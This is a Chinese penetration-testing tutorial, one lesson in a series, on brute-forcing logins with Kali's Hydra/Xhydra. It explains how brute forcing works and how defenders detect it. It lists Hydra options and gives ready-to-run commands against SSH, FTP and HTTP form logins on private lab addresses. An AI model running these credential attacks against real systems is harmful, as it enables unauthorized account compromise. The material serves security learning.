41.渗透-Kali Linux-工具-Xhydra(爆破攻击)
免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动!
内容参考于:易锦网校
上一个内容:40.渗透-Kali Linux-工具-Crunch
之前的内容写了怎样生成字典,字典生成后主要作用是用来进行爆破
爆破的原理
首先拿到一个字典,字典中有很多的信息,爆破的原理就是基于协议,然后拿到字典里的内容一个一个做拼接,比如把am放到账号的位置,然后把52am放到密码的位置,然后去尝试,一个网页它登录前和登录后返回的信息是不一样的,比如登录成功返回的是ok登录失败返回的是no,然后爆破工具就基于这些协议里面的关键字,比如爆破工具检测到有ok这个关键字就表示登录成功,登录成功爆破工具就会把账号密码给我们显示出来,至于是否能爆破成功取决于很多因素
第一个因素是我们信息收集的全不全面
第二个因素是运气,一般来讲不会爆破成功,爆破这个手段用的比较少
在防守爆破的角度,可以看到会有大量的流量数据,现在大部分企业都会有流量监控设备,有了监控设备还去进行爆破,那么对方就可以把爆破者的ip进行拉黑,并且现在基本上所有网站都会有验证这个东西,有验证的情况下还要进行爆破技术成本就要增加
一般实在拿不到相关的信息才会使用爆破的形式,也就是说没有其它手段了才会去尝试爆破
在爆破的时候要知道一个东西,也就是端口有没有开放,一个端口会对应一个应用相关联
爆破在Kali里面就是使用Xhydra
一、hydra 核心参数(终端必知,大白话表格)
| 参数 | 大白话含义(作用) | 适用场景 |
|---|---|---|
-l <用户名> | 指定单个用户名(如 root、admin) | 已知可能的用户名,尝试不同密码 |
-L <文件> | 从文件加载多个用户名(每行一个) | 批量尝试多个账号(如 users.txt) |
-p <密码> | 指定单个密码(如 123456) | 已知密码,尝试不同用户名 |
-P <文件> | 从文件加载密码字典(CeWL/Crunch 生成的文件) | 批量尝试密码(核心用法,如 pass.txt) |
-t <数字> | 并发线程数(默认 16,数字越大越快,太大会被封) | 控制破解速度(建议 10-20 之间) |
-W <秒数> | 超时时间(多久没响应算失败,默认 30 秒) | 网络慢时调大(如 -W 10 表示 10 秒超时) |
-f | 找到第一个正确账号密码就停止 | 只需要一个有效账号时使用 |
-vV | 显示详细过程(打印尝试的每个 “用户名 + 密码”) | 调试或观察进度时使用 |
-o <文件> | 把破解结果保存到文件(如 result.txt) | 后续需要查看结果时使用 |
-e <选项> | 尝试简单密码变异(n:空密码;u:用户名当密码;r:用户名反转当密码) | 快速测试弱密码(如 -e nu 尝试空密码和用户名当密码) |
二、hydra 支持的服务(协议)格式
终端中用 hydra <服务名>://<目标IP>:<端口> 指定要破解的服务,常见服务格式如下:
| 服务类型 | 命令格式(示例) | 说明 |
|---|---|---|
| SSH(远程登录) | hydra ssh://192.168.1.100:22 ... | 默认端口 22 |
| FTP(文件传输) | hydra ftp://192.168.1.101:21 ... | 默认端口 21 |
| HTTP 表单登录 | hydra http-post-form://192.168.1.102/login.php ... | 需要指定登录页面路径 |
| MySQL(数据库) | hydra mysql://192.168.1.103:3306 ... | 默认端口 3306 |
| RDP(Windows 远程桌面) | hydra rdp://192.168.1.104:3389 ... | 默认端口 3389 |
三、终端实战例子(直接复制可用)
1. 破解 SSH 服务(最常用)
目标:192.168.1.100,尝试用户名 root,用密码字典 pass.txt,10 线程,找到就停:
hydra -l root -P pass.txt -t 10 -f -vV ssh://192.168.1.100
- 成功会显示:
[22][ssh] host: 192.168.1.100 login: root password: 正确密码
2. 批量尝试多个用户名和密码
目标:192.168.1.101 的 FTP 服务,用用户字典 users.txt 和密码字典 pass.txt,结果存到 ftp_result.txt:
hydra -L users.txt -P pass.txt -o ftp_result.txt ftp://192.168.1.101
3. 测试弱密码(空密码 / 用户名当密码)
目标:192.168.1.102 的 SSH,尝试用户名 admin,同时测试空密码和用 admin 当密码:
hydra -l admin -e nu -vV ssh://192.168.1.102
-e nu表示:n(空密码)、u(用户名当密码)
4. 破解 HTTP 表单登录(网页登录)
假设目标网页登录地址是 http://192.168.1.103/login.php,表单字段为 username=xxx&password=xxx,错误提示为 “登录失败”:
# http
hydra -l admin -P pass.txt -vV http-post-form://192.168.1.103/login.php:"username=^USER^&password=^PASS^":"登录失败"
# https
hydra -l admin -P pass.txt -vV https-post-form://192.168.1.100/login.php:"user=^USER^&pass=^PASS^":"用户名或密码错误"
- 格式说明:
http-post-form://目标/路径:"表单参数(^USER^和^PASS^是占位符)":"错误提示"
爆破成功的效果图:


